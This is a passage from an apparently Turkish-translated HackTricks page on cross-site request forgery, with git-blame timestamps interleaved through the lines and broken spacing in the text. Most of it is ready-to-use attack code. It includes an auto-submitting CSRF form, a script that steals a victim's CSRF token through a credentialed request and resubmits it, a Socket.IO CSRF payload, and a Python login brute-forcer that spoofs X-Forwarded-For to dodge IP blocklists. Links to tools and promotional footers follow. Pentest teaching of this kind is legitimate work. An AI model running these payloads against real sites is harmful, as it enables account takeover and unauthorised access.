< form id = "bypass" name " bypass " method = "POST" target = "frame2" action = "http://google.com?param=VALUE" enctype = "multipart/form-data" >
2024-02-10 18:14:16 +00:00
< input type = "text" name = "username" value = "z" >
< input type = "checkbox" name = "status" checked = "" >
< input id = "token" type = "hidden" name = "token" value = "0000" / >
< button type = "submit" > Submit< / button >
2020-07-15 15:43:14 +00:00
< / form >
```
2024-02-23 16:46:32 +00:00
### **Ajax kullanarak CSRF belirteci çalma ve bir form ile post gönderme**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< body onload = "getData()" >
< form id = "form" action = "http://google.com?param=VALUE" method = "POST" enctype = "multipart/form-data" >
2024-02-10 18:14:16 +00:00
< input type = "hidden" name = "username" value = "root" / >
< input type = "hidden" name = "status" value = "on" / >
< input type = "hidden" id = "findtoken" name = "token" value = "" / >
< input type = "submit" value = "valider" / >
2020-07-15 15:43:14 +00:00
< / form >
< script >
var x = new XMLHttpRequest();
function getData() {
2024-02-10 18:14:16 +00:00
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
2020-07-15 15:43:14 +00:00
}
x.onreadystatechange = function() {
2024-02-10 18:14:16 +00:00
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
2020-07-15 15:43:14 +00:00
}
< / script >
```
2024-02-10 18:14:16 +00:00
### Socket.IO ile CSRF
2024-02-05 20:00:40 +00:00
```html
2020-08-06 20:38:54 +00:00
< script src = "https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js" > < / script >
< script >
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
2024-02-10 18:14:16 +00:00
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
2020-08-06 20:38:54 +00:00
});
< / script >
```
2024-02-23 16:46:32 +00:00
## CSRF Giriş Kaba Kuvvet
2020-08-06 20:38:54 +00:00
2024-02-23 16:46:32 +00:00
Kod, bir CSRF belirteci kullanarak bir giriş formunu Kaba Kuvvet saldı rı sı için kullanı labilir (Ayrı ca olası bir IP karalama listesini atlatmaya çalı şmak için X-Forwarded-For başlı ğı nı da kullanı yor):
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
2024-02-10 18:14:16 +00:00
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
2020-11-06 18:22:38 +00:00
def login(user, password):
2024-02-10 18:14:16 +00:00
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
2020-11-06 18:22:38 +00:00
with open(PASS_LIST, "r") as f:
2024-02-10 18:14:16 +00:00
for line in f:
login(USER, line.strip())
2020-11-06 18:22:38 +00:00
```
2024-02-10 18:14:16 +00:00
## Araçlar <a href="#tools" id="tools"></a>
2020-07-15 15:43:14 +00:00
* [https://github.com/0xInfection/XSRFProbe ](https://github.com/0xInfection/XSRFProbe )
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator ](https://github.com/merttasci/csrf-poc-generator )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2020-07-15 15:43:14 +00:00
* [https://portswigger.net/web-security/csrf ](https://portswigger.net/web-security/csrf )
2024-02-05 20:00:40 +00:00
* [https://portswigger.net/web-security/csrf/bypassing-token-validation ](https://portswigger.net/web-security/csrf/bypassing-token-validation )
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses ](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses )
2020-07-15 15:43:14 +00:00
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html ](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html )
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
2024-02-23 16:46:32 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2024-02-23 16:46:32 +00:00
[**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) sunucusuna katı lı n ve deneyimli hackerlar ve ödül avcı ları ile iletişime geçin!
2023-02-27 09:28:45 +00:00
2024-02-23 16:46:32 +00:00
**Hacking İçgörüleri**\
2024-03-17 16:37:08 +00:00
Hacking'in heyecanı na ve zorlukları na inen içeriklerle etkileşime girin
2022-10-27 23:22:18 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
2024-03-17 16:37:08 +00:00
Hı zlı tempolu hacking dünyası nı gerçek zamanlı haberler ve içgörülerle takip edin
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
2024-03-17 16:37:08 +00:00
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkı nda bilgilenin
2023-02-27 09:28:45 +00:00
2024-03-17 16:37:08 +00:00
**Bize Katı lı n** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) ve bugün en iyi hackerlarla işbirliğine başlayı n!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:46:32 +00:00
< summary > < strong > Sı fı rdan kahraman olacak şekilde AWS hacklemeyi öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-17 16:37:08 +00:00
HackTricks'i desteklemenin diğer yolları :
2023-12-31 01:25:17 +00:00
2024-03-17 16:37:08 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-23 16:46:32 +00:00
* [**The PEASS Family'yi** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-03-17 16:37:08 +00:00
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >